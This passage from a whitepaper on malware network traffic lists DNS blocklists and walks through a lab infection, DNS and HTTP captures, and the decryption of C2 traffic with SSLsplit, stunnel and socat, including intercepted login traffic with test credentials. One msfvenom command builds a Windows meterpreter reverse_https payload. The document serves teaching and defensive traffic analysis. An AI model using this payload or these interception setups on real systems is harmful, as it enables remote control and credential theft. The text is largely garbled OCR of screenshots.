- dnsbl.cyberlogic.net
- dnsbl.njabl.org
- drone.abuse.ch
- dul.dnsbl.sorbs.net
- dyna.spamrats.com
- http.dnsbl.sorbs.net
- ips.backscatterer.org
- korea.services.net
- multi.surbl.org
- orvedb.aupads.org

Demystifying Malware Traffic 37

- phishing.rbl.msrbl.net
- psbl.surriel.com
- recent.spam.dnsbl.sorbs.net
- relays.bl.kundenserver.de
- relays.nether.net
- short.rbl.jp
- socks.dnsbl.sorbs.net
- spam.dnsbl.sorbs.net
- spam.spamrats.com
- spamrbl.imp.ch
- torserver.tor.dnsbl.sectoor.de
- ubl.unsubscore.com
- virus.rbl.jp
- web.dnsbl.sorbs.net
- xbl.spamhaus.org
- zombie.dnsbl.sorbs.net
- bl.deadbeef.com
- bl.spamcannibal.org
- blackholes.five-ten-sg.com
- bogons.cymru.com
- cdl.anti-spam.org.cn
- combined.rbl.msrbl.net
- dnsbl-1.uceprotect.net
- dnsbl-3.uceprotect.net
- dnsbl.inps.de
- dnsbl.sorbs.net
- duinv.aupads.org
- dul.ru dynip.rothen.com
- images.rbl.msrbl.net
- ix.dnsbl.manitu.net
- misc.dnsbl.sorbs.net
- noptr.spamrats.com
- pbl.spamhaus.org
- proxy.bl.gweep.ca
- rbl.interserver.net
- relays.bl.gweep.ca

Demystifying Malware Traffic | 38

- relays.dnsbl.sorbs.net
- sbl.spamhaus.org
- smtp.dnsbl.sorbs.net
- spam.abuse.ch
- spam.rbl.msrbl.net
- spamlist.or.kr
- tor.dnsbl.sectoor.de
- ubl.lashback.com
- virbl.bit.nl
- virus.rbl.msrbl.net
- wormrbl.imp.ch
- zen.spamhaus.org

Appendix - E

A Detailed Flow For "What happens when a system gets infected by a malware"

A closer look into the scenario explained in "*What happens when a system gets infected by a malware*" has been depicted below using the following software/packages/operating-systems: Windows7 (the system that is to be infected, i.e., victim's machine), Kali (X.X.37.220 is to be used to host a virus named as virus.exe using Apache server), BIND9 (X.X.37.64 for DNS daemon, running on Ubuntu – the IP of this server will be used as the Preferred and Alternate DNS Servers in the victim's machine – representing a genuine DNS Cache Server) and TCPDump (to view the traffic to and from the DNS Server).

A harmless program (virus.exe) is used as a malware to show the infection, where this virus runs and sends an HTTP request to **example.com** (consider this as a malicious site for this setup) and receives a response. The response is saved locally and is executed. In a real world, malicious sites send the commands/payloads in the response.

1. The following screenshot shows the Kali server hosting the **virus.exe** and also the TCPDump at work to monitor the traffic of downloading the virus from the victim's machine.

The **apt-get install apache2** command can be used to install the Apache server for Debian Linux and its variants.

Demystifying Malware Traffic | 40

Applications ▼ Places ▼	🤈 Terminal 🔻	Fri 01:38		, #	1	1	き ()	
		root@sourabh: ~	008					
	File Edit View Search	Terminal Help						
 ictimserver.pcap i <l< td=""><td><pre>rootgsourabh:-# service rootgsourabh: # 1s /var, rootgsourabh:-# 1s /var, rootgsourabh:-# ifconfij etho: flags=41634UP, BRO inet 37 inet6 ether 1,2000 RX packets 4954 RX errors 0 dru TX packets 5197 TX errors 0 dru rootgsourabh:-# tcpdump</pre></td><td>apache2 start /www/html/ geth0 ADCAST,RUNNING,MULTICAST> mtu 1500 ADCAST,RUNNING,MULTICAST> mtu 1500 .220 netmask 255.255.255.0 broadcast first bytes 350047668 (333.8 MiB) opped 0 overruns 0 frame 0 7 bytes 25155449 (24.9 MiB) opped 0 overruns 0 carrier 0 collisions 0 vvv .s 0 .l .n port 80 .w /root/Desktop/vict to 1.ink/wno ENDOMP (Ethernet) controstica</td><td>1.37.255 ink≻ imserver.pcap</td><td>^</td><td></td><td></td><td></td><td></td></l<>	<pre>rootgsourabh:-# service rootgsourabh: # 1s /var, rootgsourabh:-# 1s /var, rootgsourabh:-# ifconfij etho: flags=41634UP, BRO inet 37 inet6 ether 1,2000 RX packets 4954 RX errors 0 dru TX packets 5197 TX errors 0 dru rootgsourabh:-# tcpdump</pre>	apache2 start /www/html/ geth0 ADCAST,RUNNING,MULTICAST> mtu 1500 ADCAST,RUNNING,MULTICAST> mtu 1500 .220 netmask 255.255.255.0 broadcast first bytes 350047668 (333.8 MiB) opped 0 overruns 0 frame 0 7 bytes 25155449 (24.9 MiB) opped 0 overruns 0 carrier 0 collisions 0 vvv .s 0 .l .n port 80 .w /root/Desktop/vict to 1.ink/wno ENDOMP (Ethernet) controstica	1.37.255 ink≻ imserver.pcap	^				

Figure 1: IP configuration of the C2 center

2. The following screenshot shows the victim's machine with the DNS configuration having the IP address of the DNS server, the downloaded .exe file and the response file created as **example.html** after the execution.

	Eile	<u>E</u> dit <u>V</u> iew Higtory <u>B</u> ookmarks	Iools 🗆 🛛 🛛	ocal Area Connection A Statue	
		ndex of / × Example I	Domain × +	Internet Protocol Version 4 (TCP/IPv4) Properties	
Computer Recycle Bin virus ex	ample	37.220	⊽C' » Ξ	General Alternate Configuration	
Notepad	Victim	dex of /	A	You can get IP settings assigned automatically if your network supports this capability. Otherwise, you need to ask your network administrator for the appropriate IP settings.	
Getting Started	Documents	<u>Name</u> <u>Last modified</u> <u>S</u>	ize Description	Obtain an IP address automatically Ouse the following IP address:	
💐 Windows Anytime Upgrade	Music	<u>virus.exe</u> 2016-03-10 01:15 5.	6M	IP address:	
	Games	che/2.4.18 (Debian) Server at t 80	.37.220	Default gateway:	
	Computer			Ving DNS server addresses:	
	Control Panel	🔶 🔶 Organize - 🛛 Clear Do	wnloads Search Download	ads server:	
	Devices and Printers	C History	virus.exe	server:	
	Default Programs	Downloads Tags	5.6 MB —	37.220 tings upon exit Advanced	
	Help and Support	🚺 All Bookmarks		OK Carcel	
All Programs					2
Search programs and files	Shut down D				

Figure 2: Infected machine with DNS as X.X.37.64

3. The following screenshot shows the DNS server, which was used by the victim's machine for the DNS query when **virus.exe** got executed and the IP address of **example.com** was requested. It also shows how **bind9** and **tcpdump** were initiated.



Figure 3: Starting BIND service and TCPDump

4. The following screenshot shows the packets captured in the DNS server for the

DNS query from the victim's machine and the response for that query.

sniff.pcap [Wireshark 1.8.4 (SVN Rev 46250 from /trunk-1.8)]		
Eile Edit View Go Capture Analyze Statistics Telephony Tools	Internals Help	
B B B B B B I D B X 2 B I Q + + + + + + 7	호 🗐 🕞 Q, Q, Q, 🗹 🐺 🗵 🥵 % 🕱	
Filter: dns.qry.name eq example.com	Expression Clear Apply Save	
. Time Source Destination	Protocol Length Info	
88 674.566188 14.98.167.116	DNS 71 Standard query 0xd689 A example.com	
89 0/4. 008/20 3/. 04 8. 8. 4. 4 02 674 579144 9. 9. 4. 4	DNS 62 Standard query Oxelod A example Com	
92 074. 570186	DNS 2/2 Stalldard query 0yc3a DNSEV ayamala com	
94 674 588708 8 8 4 4	DNS 8.08 Standard guery response 0x55a8 DNSKEY DNSKEY RRSTG	
95 674, 589452	DNS 82 Standard guery 0x0e56 DS example.com	
96 674.598862 8.8.4.4	DNS 497 Standard query response 0x0e56 DS DS DS DS DS DS RSIG	
97 674.599774	DNS 298 Standard query response 0xd689 A 93.184.216.34	
	m	
⊕ Frame 97: 298 bytes on wire (2384 bits), 298 bytes	s captured (2384 bits)	
# Ethernet II, Src: Concerning (and a second), Dst: SuperMic_c9:e2:30 (00:25:90:c9:e2:30)	
Internet Protocol Version 4, Src: 37.64 (37.64), Dst: 14.98.167.116 (14.98.167.116)	
User Datagram Protocol, Src Port: domain (53), Ds	c Port: cap (1026)	
Domain Name System (response)		
Time: 0.022586000 cocondc]		
Transaction TD: 0xd689		
Questions: 1		
Answer RRs: 1		
Authority RRs: 13		
Additional RRs: 0		
Queries		
example.com: type A, class IN		
Type: A (Host address)		
Class: IN (0x0001)		
Answers		
example.com: type A, class IN, addr 93.184.21	5.34	
Name: example.com		
Type: A (Host address)		
0000 00 25 90 c9 e2 30 22 49 69 16 fb d9 08 00 45	00 .%0"I 1E.	
0010 01 1C 4/ C5 00 00 40 11 b4 20 a2 d5 25 40 0e	b2G@%@.D 01 + 5	
0030 00 01 00 0d 00 00 07 65 78 61 6d 70 6c 65 03	63e xample.c	
0040 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00	04 om	

Figure 4: Sniffed data for DNS query

5. The following screenshot shows the packet detail for the downloading of

virus.exe from the web server.

Demystifying Malware Traffic | 42



Figure 5: Downloading of malware

- 6. The following screenshots show the packet details.
 - a. The DNS query and response:



Figure 6: DNS Query and Response

victim.pcap [Wireshark 1.8.4 (SVN Rev 46250 from /tr	unk-1.8)]	\$
File Edit View Go Capture Analyze Statistics	Telephony Iools Internals <u>H</u> elp	
$\blacksquare \blacksquare \boxtimes \otimes \otimes \boxtimes \models \blacksquare \times \textcircled{=} \models <$	4 * • • • 77 👱 🗐 🗐 • 0, 0, 0, 17 🐺 12 🖲 % 13	
Filter: tcp.stream eq 6	Expression Clear Apply Save	
No. Time Source De	itination Protocol Length Info	
7503 122.636534 192.168.137.26 93	.184.216.34 TCP 66 44500 > http [SYN] Seq=0 win=8192 Len=0 MSS=1460 WS=4 SACK_PERM=1	
7507 122.913943 93.184.216.34	2.108.137.20 ICP 00 HTCP 44300 [STR], ACK] 580=0 ACK=1 WIN=04240 [EH=0 MSS=1460	_
7509 122, 914605 192, 168, 137, 26 93	184.216.34 HTTP 168.657 / HTTP/1.1	
7510 122.915039 93.184.216.34 19	2.168.137.26 TCP 60 http > 44500 [ACK] Seq=1 Ack=115 win=64240 Len=0	
7529 124.834160 93.184.216.34 1	7 Follow TCP Stream	
7530 124.834163 93.184.216.34 1		
7531 124.834105 93.184.210.34 1	Stream Content	
7533 124.868140 192.168.137.26	GET / HTTP/1.1	
7534 124.868362 93.184.216.34 1	Accept=Encoding: ldentity	
	Host: example.com	
	Connection: close	
	HTTP/1.1 200 OK	
<	Cache-Control: no-store, no-cache, must-revalidate, max-age=0	
I Frame 7507: 60 bytes on wire (480 bi	Date: Fri, 11 Mar 2016 20:01:15 GMT	_
Ethernet TT Src: Vmware fd:5d:c8 (0	Etag: "359670651+gzip+ident"	
■ Internet Protocol Version 4. Src: 93	Expires: Tue, 01 Jan 1971 02:00:00 GMT	
Transmission Control Protocol, Src P	Server: ECS (ewr/15BD)	
	Vary: Accept-Encoding	_
	x-ec-custom-error: 1	
	Content-Length: 1270	
	Connection: close Pragma: no-cache	
	Entire conversation (1786 bytes)	
	Eind Save As Print O ASCII O EBCDIC O Hex Dump O C Arrays @ Raw	
0000 00 0c 29 90 04 fa 00 50 56 fd 5		
0010 00 2c 09 4e 00 00 80 06 b1 e0 5	Help Filter Out This Stream Close	
0030 fa f0 d5 9d 00 00 02 04 05 b4 0		

b. The request to and the response from C2 when **virus.exe** was executed in the victim's machine.

Figure 7: Traffic of malware

c. The following screenshot shows the entire flow of data, starting from the virus download, different stages when the virus was executed (i.e. DNS resolution), connection to C2 and the request to and response from C2.

Demystifying Malware Traffic | 44

victim pcap (Wiresbark 1.8.4 (SVN Rev. 46	250 from /trunk-1.8)]	
ile Edit View Ge Canture Analyze	Statistics Telephony Tools Internals	
	statistics relepitony tools internais	
	📇 🔍 🗢 🍬 🤹 🛣 📃	
ilter: ddr== 37.64 ip.addr==	.37.220 ip.addr==93.184.216.34 💌 Expres	usion Clear Apply Save
Time Source	Destination Brots	ceal Leasth Tafa
7303 102, 867678	0 192.168.137.26 TCP	1514 [TCP segment of a reassembled PDU]
7304 102.867725 192.168.137.2	б 37.220 тср	54 44499 > http [ACK] seq=331 Ack=5914461 Win=261340 Len=0
7305 102.879494	0 192.168.137.26 HTT	P 1385 HTTP/1.1 200 OK (application/x-msdos-program)
7306 103.092389 192.168.137.2	б . 37.220 тср	54 44499 > http [ACK] seq=331 Ack=5915792 win=260008 Len=0
7311 104.53036137.22	0 192.168.137.26 TCP	60 http > 44499 [FIN, ACK] Seq=5915792 Ack=331 Win=30336 Len=0
7312 104.530462 192.168.137.2	б тср. 37.220 тср	54 44499 > http [ACK] Seq=331 Ack=5915793 Win=260008 Len=0
7313 104. 530695 . 37. 22	0 192.168.137.26 тср	60 http > 44499 [RST] Seq=5915793 Win=4194176 Len=0
/320 105.1/3840	0 192.168.137.26 TCP	60 http > 44499 [FIN, ACK] Seq=>915/92 ACK=331 Win=30336 Len=0
/335 106.119626	0 192.168.137.26 TCP	60 http > 44499 [FIN, ACK] Seq=9915/92 ACK=331 W1n=30336 Len=0
/346 10/.08/563	0 192.168.137.26 TCP	60 http > 44499 [FIN, ACK] 562=5915/92 ACK=331 Win=30336 Len=0
7375 109.005005	0 192.108.137.20 TCP	60 http > 44499 [FIN, ACK] SEE=5915/92 ACK=331 Win=30336 Len=0
7427 114.800070	J 192.108.157.26 ICP	00 Http > 44499 [FIN, ACK] SEE 3010/92 ACK=331 WHE30330 LEFE
7502 122 582476	102 168 127 26 DNS	208 standard query voxadec A example.com
7502 122 626524 102 168 127 2	5 02 184 216 24 TCD	56 4450 s bits [Swi] Soo (wip-910) 100-0 MSS-1460 MS-4 SACK DEDM-1
7507 122 013043 03 184 216 34	192 168 137 26 TCP	
7508 122, 914108 192, 168, 137, 2	6 93.184.216.34 TCP	54 4450 > http://www.sec.ackel.ums64240.Lene0
7509 122, 914605 192, 168, 137, 2	6 93.184.216.34 HTT	P 168 GET / HTTP/1.1
7510 122, 915039 93, 184, 216, 34	192,168,137,26 TCP	60 http > 44500 [ACK] Seg=1 Ack=115 win=64240 Len=0
7529 124,834160 93,184,216,34	192,168,137,26 TCP	1514 [TCP segment of a reassembled PDU]
7530 124.834163 93.184.216.34	192.168.137.26 HTT	P 266 HTTP/1.1 200 OK (text/html)
7531 124.834165 93.184.216.34	192.168.137.26 TCP	60 http > 44500 [FIN, PSH, ACK] Seg=1673 Ack=115 win=64240 Len=0
7532 124.834290 192.168.137.2	6 93.184.216.34 TCP	54 44500 > http [ACK] Seg=115 ACk=1674 win=64240 Len=0
7533 124.868140 192.168.137.2	6 93.184.216.34 TCP	54 44500 > http [FIN, ACK] Seq=115 Ack=1674 win=64240 Len=0
7534 124.868362 93.184.216.34	192.168.137.26 TCP	60 http > 44500 [ACK] Seq=1674 Ack=116 win=64239 Len=0
7537 125.074101 37.22	0 192.168.137.26 TCP	60 http > 44499 [FIN, ACK] Seq=5915792 Ack=331 Win=30336 Len=0
7591 130.547018 192.168.137.2	6 37.64 DNS	80 Standard query 0x9571 A download.mozilla.org
7595 130.841166	192.168.137.26 DNS	353 Standard query response 0x9571 CNAME bouncer-bouncer-elb.prod.mozaws.net A 52.70.203.76
TIME CO TIVE, SI		
Protocol: ICP (6)	nnoct]	
000 00 0c 29 90 04 fa 00 50	56 c0 00 08 08 00 45 00	PV E
010 05 dc 24 7d 40 00 33 06	0b 2b a2 d5 25 dc c0 a8\$	i)@.3. +%
020 89 1a 00 50 ad d3 0f 3f	c4 35 c9 bd d5 22 50 10	P?.5"P.
030 00 ed 39 3b 00 00 2d 64	55 62 75 67 2d 6c 31 2d9	(;d)
	40 00 1b 40 c0 00 00 00 1-0	

Figure 8: Entire traffic flow

The IP address of all the servers and machines has been suppressed and are shown in the screenshots below.

BIND9 was installed using the following command:

apt-get install bind9



Figure 9: BIND installation

This service was configured in a simple way, by modifying the forwarder in

named.conf.options:



Figure 10: Opening the configuration file

Demystifying Malware Traffic | 46

```
😑 💷 ubuntu@DNS: ~
options {
         directory "/var/cache/bind";
        // If there is a firewall between you and nameservers you want
// to talk to, you may need to fix the firewall to allow multiple
// ports to talk. See http://www.kb.cert.org/vuls/id/800113
         // If your ISP provided one or more IP addresses for stable
        // nameservers, you probably want to use them as forwarders.
// Uncomment the following block, and insert the addresses replacing
// the all-0's placeholder.
forwarders {
8.8.8.8;
8.8.4.4;
};
allow-recursion { any; };
         //-----
         // If BIND logs error messages about the root key being expired,
         // you will need to update your keys. See https://www.isc.org/bind-keys
         //------
         dnssec-validation auto;
         auth-nxdomain no; # conform to RFC1035
         listen-on-v6 { any; };
1:
```

Figure 11: Settings in the config file to act as a forwarder

Appendix - F

How to create a virus for the above environments

1. Create virus.exe:

😰 root@sourabh: ~	23				
<pre>coot@sourabh:-# msfvenom -p windows/meterpreter/reverse_https LHOST=37.220 LPORT=443 -f exe > virus.exe</pre>	*				
No platform was selected, choosing Msf::Module::Platform::Windows from the payload					
No Arch selected, selecting Arch: x86 from the payload					
No encoder or badchars specified, outputting raw payload					
Payload size: 414 bytes					
root@sourabh:-# 1s					
Desktop Documents Downloads Music Pictures Public Templates Videos virus.exe					
root(sourabh:-#	-				

Figure 1: Creating a virus using msfvemon

2. Data over the network when the above virus connects to its C&C over SSL:

*	Local Area Connection	4									25
File	Edit View Go	Capture Analyze Stat	istics Telephony Wireles	s Tools He	elp						
	🔳 🧟 🕥 📗 🛅	🕅 🖸 🔍 👄 🔿 🕾	🗿 👲 📃 🗨 Q	Q, 🎹							
	tcp.stream eq 0								X	Expression	+
No.	Time	Source	Destination	Protocol	Length Info						*
-	18 8.582872	192.168.1.102	.37.220	TCP	66 1144 → 443	[SYN] Se	q=0 Win=8192 Le	=0 MSS=1460	WS=4 SACK PERM=1		
	20 8.915896	.37.220	192.168.1.102	TCP	66 443 → 1144	[SYN, AC	[K] Seq=0 Ack=1	√in=29200 Len	=0 MSS=1460 SACK_PE	RM=1 WS=128	
	21 8.916145	192.168.1.102	.37.220	TCP	54 1144 → 443	[ACK] Se	q=1 Ack=1 Win=6	5700 Len=0			
	22 9.031975	192.168.1.102	. 37.220	TLSv1.2	212 Client Hell	0					
	24 9.599105	.37.220	192.168.1.102	TCP	60 443 → 1144	[ACK] Se	q=1 Ack=159 Win	=30336 Len=0			
	25 10.082977	.37.220	192.168.1.102	TLSv1.2	1387 Server Hell	lo, Certi	ficate, Server	(ey Exchange,	Server Hello Done		-
	Find:						Find Next	ts: 1429 · Displaye	ed: 1181 (82.6%)	Profile	: Default

Figure 2: Traffic over SSL

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help	
🛋 🔳 🔬 🐵 📴 🔁 😋 🗢 🕾 🗑 🖢 🚍 🗐 Q. Q. Q. 🤁	
I top.stream eq 2	Expression +
No. Time Source Destination Protocol Length Info	<u>^</u>
4045 922.879859	
Wireshark - Follow TCO Stream (tco.stream eq. 2), wireshark coapan 7BAABE26-BAF0-4FBB-B4BF-B99CE8248E87 20160.	
030 Win=185856 Len=0	
5./.8.2.	T
QMEW#.*I6\$p2[aI.^]Ms*\V. p	
5	
0.1.0oldhxyi0	
1 1403240116587.	
. *.H	
i, [.]	
0.00.0	Â
· · · · · · · · · · · · · · · · · · ·	E
256 clem pix(s), 347 server pix(s), 256 turns.	
Entire conversation (413 kB) 🔻 Show data as 🗛 SCII 💌 Stream 2 😓	-
Find Text Text Find Next Text 1056 • Displayed: 980 (24.2%)	Dropped: 0 (0.0%) Profile: Default

Figure 3: Traffic over SSL

SSL Traffic In ClearText When SSLsplit Is Used

1. SSL connection displayed in the console when SSLsplit is used:

Demystifying Malware Traffic | 49



Figure 4: Execution of sslsplit tool and SSL Connection

SSL traffic of the above virus appears as cleartext, captured using the SSLsplit tool – This includes all the Commands received from C2 and the information sent to C2

1. First request and response. As it was a reverse connection, all the requests are from an infected machine and the responses are from C2:



Figure 5: Cleartext traffic in the logs of the SSLsplit tool

2. The following screenshot shows a command (getuid) sent from C2 in the

response:



Figure 6: Commands in cleartext

3. The victim's machine sends the output in the request. The suppressed string is the computer's name, and **a** (after the forward slash) is the username by which the user is logged into the machine:



Figure 7: Response in cleartext

4. The following screenshot is for another command (ipconfig as get interfaces) sent by C2:

🛱 router@ubuntu: /tmp/sslsplit/logs
router@ubuntu:/tmp/sslsplit/logs\$ cat 20160505T2018052-[192.168.111.130]:1227-[37.220]:443.log
Cache-Control: no-cache
Connection: Keep-Alive Pragma: no-cache
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Content-Length: 4 Host:37.220
Content-Type: application/octet-stream
Connection: close
Content-Length: 90
Z)stdapi net config get interfaces)52491141718737209031193233452248router@ubuntu:/tmp/sslsplit/logs\$
Figure 8: Other commands in cleartext
ů –

SSLsplit Setup:

1. Installation of SSLsplit:

P router@ubuntu: ~
router@ubuntu:~\$ sudo apt-get install sslsplit
[sudo] password for router:
Reading package lists Done
Building dependency tree
Reading state information Done
The following packages were automatically installed and are no longer required:
libntdb1 python-ntdb
Use 'apt-get autoremove' to remove them.
The following extra packages will be installed:
libevent-core-2.0-5 libevent-openss1-2.0-5 libevent-pthreads-2.0-5
The following NEW packages will be installed:
libevent-core-2.0-5 libevent-openss1-2.0-5 libevent-pthreads-2.0-5 sslsplit
0 upgraded, 4 newly installed, 0 to remove and 3 not upgraded.
Need to get 146 kB of archives.
After this operation, 531 kB of additional disk space will be used.
Do you want to continue? [Y/n] y
WARNING: The following packages cannot be authenticated!
libevent-core-2.0-5 libevent-openssl-2.0-5 libevent-pthreads-2.0-5 sslsplit
Install these packages without verification? $[\gamma/N]$ y
Get:1 http://us.archive.ubuntu.com/ubuntu/ wily/main libevent-core-2.0-5 amd64 2.0.21-stable-2 [69.4 kB]
Get:2 http://us.archive.ubuntu.com/ubuntu/ wily/main libevent-openss1-2.0-5 amd64 2.0.21-stable-2 [11.2 kB]
Get:3 http://us.archive.ubuntu.com/ubuntu/ wily/main libevent-pthreads-2.0-5 amd64 2.0.21-stable-2 [5,338 B]
Get:4 http://us.archive.ubuntu.com/ubuntu/ wily/universe sslsplit amd64 0.4.11+dfsg-1 [60.6 kB]
Fetched 146 kB in 3s (37.6 kB/s)
Selecting previously unselected package libevent-core-2.0-5:amd64.
(Reading database 182096 files and directories currently installed.)
Preparing to unpack/libevent-core-2.0-5_2.0.21-stable-2_amd64.deb
Unpacking libevent-core-2.0-5:amd64 (2.0.21-stable-2)
Selecting previously unselected package libevent-openss1-2.0-5:amd64.
Preparing to unpack/libevent-openssl-2.0-5_2.0.21-stable-2_amd64.deb
Unpacking libevent-openssl-2.0-5:amd64 (2.0.21-stable-2)
Selecting previously unselected package libevent-pthreads-2.0-5:amd64.
Preparing to unpack/libevent-pthreads-2.0-5_2.0.21-stable-2_amd64.deb
Unpacking libevent-pthreads-2.0-5:amd64 (2.0.21-stable-2)
Selecting previously unselected package sslsplit.
Preparing to unpack/sslsplit_0.4.11+dfsg-1_amd64.deb
Unpacking sslsplit (0.4.11+dfsg-1)
Processing triggers for man-db (2.7.4-1)
Setting up libevent-core-2.0-5:amd64 (2.0.21-stable-2)
Setting up libevent-openss1-2.0-5:amd64 (2.0.21-stable-2)
Setting up libevent-pthreads-2.0-5:amd64 (2.0.21-stable-2)
Setting up sslsplit (0.4.11+dfsg-1)
Processing triggers for libc-bin (2.21-Oubuntu4.1)
router@ubuntu:~\$

Figure 4: Installation of SSLsplit

2. Certificate Creation:



Figure 5: SSL certificate for SSLsplit

3. Execution of SSLsplit:



Figure 6: Execution of SSLsplit

4. Certificate warning in the HTTPS browser:

Demystifying Malware Traffic 54



Figure 7: SSL warning in the browser

5. SSL negotiation of SSLsplit with the actual server:



Figure 8: SSL negotiation with server

6. Cleartext traffic:



Figure 9: Cleartext traffic in the console

Stunnel Setup:

1. Installation of the stunnel tool:



Figure 10: Installation of stunnel

2. Changing the value of the ENABLED parameter:

Demystifying Malware Traffic 57



Figure 11: Settings in the stunnel configuration file

3. Certificate for stunnel:



Figure 12: SSL certificate for stunnel

4. SSL connection of stunnel with the client as well as the server:

Demystifying Malware Traffic | 58

ا المعالم المعا] ;	X
2016.04.26 15:38:55 LOG5[38]: Connection reset: 0 byte(s) sent to SSL, 0 byte(s) sent to socket 2016.04.26 15:38:55 LOG5[39]: getpeerbyname (local_rfd): Transport endpoint is not connected (107) 2016.04.26 15:38:55 LOG5[39]: Connection reset: 0 byte(s) sent to SSL, 0 byte(s) sent to socket 2016.04.26 15:38:56 LOG5[36]: s_connect: connected 31.13.76.68:443 2016.04.26 15:38:56 LOG5[36]: Service [https] connected remote server from 192.168.1.101:47556 2016.04.26 15:38:56 LOG5[36]: SNI: sending servername: facebook.com 2016.04.26 15:38:56 LOG5[30]: readsocket: Connection reset by peer (104) 2016.04.26 15:38:56 LOG5[30]: readsocket: Connection reset by peer (104) 2016.04.26 15:38:56 LOG5[30]: connection reset: 0 byte(s) sent to socket 2016.04.26 15:38:56 LOG5[30]: SSL connected: previous session reused			*
2016.04.26 15:38:56 LOG3[36]: readsocket: Connection reset by peer (104) 2016.04.26 15:38:56 LOG5[36]: Connection reset: 0 byte(s) sent to SSL, 0 byte(s) sent to socket 2016.04.26 15:38:56 LOG5[40]: Service [https] accepted connection from 192.168.111.129:1590 2016.04.26 15:38:56 LOG6[40]: SSL accepted: new session negotiated			

Figure 13: SSL connections with client and server

5. Data sniffed as cleartext:

sniff.pcap [Wireshark 1.8.4 (SVN Rev 46250 from /trunk-1.8)]							
Elle <u>Edit V</u> iew <u>G</u> o <u>C</u> apture <u>A</u> nalyze <u>Statistics</u> Telephony <u>I</u> ools <u>I</u> nternals <u>H</u> elp							
			Enland TCD Stream				
Filter: tcp.stream eq 0		•	Stream Content				
No. Time	Source	Destination	POST /login_php?login_attempt=1&lwv=120&lwc=1348028 HTTP/1.1				
1 0.000000	127.0.0.1	127.0.0.1	HUSE: WWW.Facebook.com				
2 0.000014	127.0.0.1	127.0.0.1	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8				
3 0.498445	127.0.0.1	127.0.0.1	Accept-Language: en-US,en;g=0.5				
4 0.498477	127.0.0.1	127.0.0.1	Accept-Encoding: gzip, deflate				
5 0.498506	127.0.0.1	127.0.0.1	Connection: Reep-alive				
6 0.498512	127.0.0.1	127.0.0.1	Content-Type: application/x-www-form-urlencoded				
7 0.503690	127.0.0.1	127.0.0.1	Content-Length: 248				
8 0.503/00	127.0.0.1	12/.0.0.1	lsd_AVmw0plT&disnlav_&enable profile selector_&isprivate_&legacy return=1&profile selector ids_&skip ani log				
9 0.503/38	127.0.0.1	127.0.0.1	in=&signed_next=&trynum=2&timezone=&lgndim=&lgnrnd=154525_1uHr&lgnis=n&email=test&pass=testpassword&login=1&				
10 0. 503/43	127.0.0.1	127.0.0.1	persistent=&default_persistent=1HTTP/1.1 200 OK				
35 0.943089	127.0.0.1	127.0.0.1	Strict-Transport-Security: max-age=15552000; preload				
30 0.943720	127.0.0.1	127.0.0.1	Cache-Control: private, no-cache, no-store, must-revalidate				
37 0.940080	127.0.0.1	127.0.0.1	content-security-policy: default-src * data: blob:;script-src *.facebook.com *.fbcdn.net *.facebook.net				
20 0 046118	127.0.0.1	127.0.0.1	*.google-analytics.com *.virtualearth.net *.google.com 127.0.0.1:* *.spotilocal.com:* 'unsafe-inline'				
40.0.946125	127.0.0.1	127.0.0.1	unsare-eval' fbstatic-a. akamaind. net fbcdn-static-b-a. akamaind. net *. atlassolutions.com blob; style-src *				
41 0 948795	127 0 0 1	127 0 0 1	* akamaihd, net wss://*.facebook.com: https://fb.scanandcleanlocal.com: * .atlassolutions.com				
42 0. 948805	127.0.0.1	127.0.0.1	attachment.fbsbx.com/ws://localhost:* blob:;				
43 0, 951741	127.0.0.1	127.0.0.1	Pragma: no-cache				
44 0.951755	127.0.0.1	127.0.0.1	public-key-pins-report-only: max-age=500; pin-sna256= WolWRyIOVNa9inaBciRSc/XHJIIYS9VWUGOLUd4PB18=; pin- sha256="c/mtKc3eEnvdmu/ko/cws20WolbkdTyHTBvibiaSE="* nin-sha256="d4PDC2clbt2P521ampUrGv0aen24				
45.0.961134	127.0.0.1	127.0.0.1	+BSXVSWB8XWO=": report-uri="http://reports.fb.com/hoko/"				
46 0,961146	127.0.0.1	127.0.0.1	x-Content-Type-Options: nosniff				
47 1.263818	127.0.0.1	127.0.0.1	X-XSS-Protection: 0				
48 1.263824	127.0.0.1	127.0.0.1	X-Frame-Options: Deny				
49 1.263868	127.0.0.1	127.0.0.1	The process control of the process o				
< [Entire conversation (16815 bytes)				
	vtes on wire (6408 bits). 801 bytes car					
Ethernet II, S	rc: 00:00:00_0	0:00:00 (00:00:00:00:00:0	Eind Save As Print ASCII EBCDIC Hex Dump C Arrays @ Raw				
🗉 Internet Proto	col Version 4,	src: 127.0.0.1 (127.0.0.					
Transmission C	ontrol Protoco	1, Src Port: 42022 (42022	Help Filter Out This Stream Close				
🗉 Hypertext Tran	sfer Protocol						
		21 21 24 21 26 21 11 21	NTG111100= 114-77-1				
02d0 75 48 72 26	6 6 67 6e 6a	73 3d 6e 26 65 6d 61 69	uir&lgnj s=n&emai				
02e0 6c 3d 74 65	73 74 26 70	61 73 73 3d 74 65 73 74	l=test&p ass=test				
0210 /0 61 73 73	5 // 6T /2 64	20 DC DT D/ D9 DE 30 31 65 6e 74 30 26 64 65 66	password & log III=1				
0310 61 75 6c 74	5f 70 65 72	73 69 73 74 65 6e 74 3d	ault_per sisten=				
🔵 💅 Hypertext Transf	er Protocol (http), 487	bytes Packets: 54 Displayed: 30 Ma	rked: 0 Load time: 0: Profile: Default				

Figure 14: Cleartext traffic

Socat Setup:

1. Installation of the socat tool:

Demystifying Malware Traffic 59



Figure 15: Installation of the socat tool

2. Execution of the socat tool:



Figure 16: Execution of the socat tool

3. Data sniffed as cleartext:

sniff3.pcap [Wireshark 1.8.4 (SVN Rev 46250 from /trunk-1.8)]	A Follow TCP Stream
<u>Eile Edit View Go Capture Analyze Statistics Telepho</u>	Strang Castant
	User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0
Filter: tcp.stream eq 19	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
No. Time Source Destination	Accept-Language: en-us, en: d=0.3
http-alt 36.213907 127.0.0.1 127.0.0.1	Referer: https://www.sans.org/account/login
http-alt 36.283270 127.0.0.1 127.0.0.1	Conner: sans=td/3t3tc/a038/t4/t9cdc83/e4t5//b; SANS_INST=20c188b3btb/t2383c3cb58618e62/39
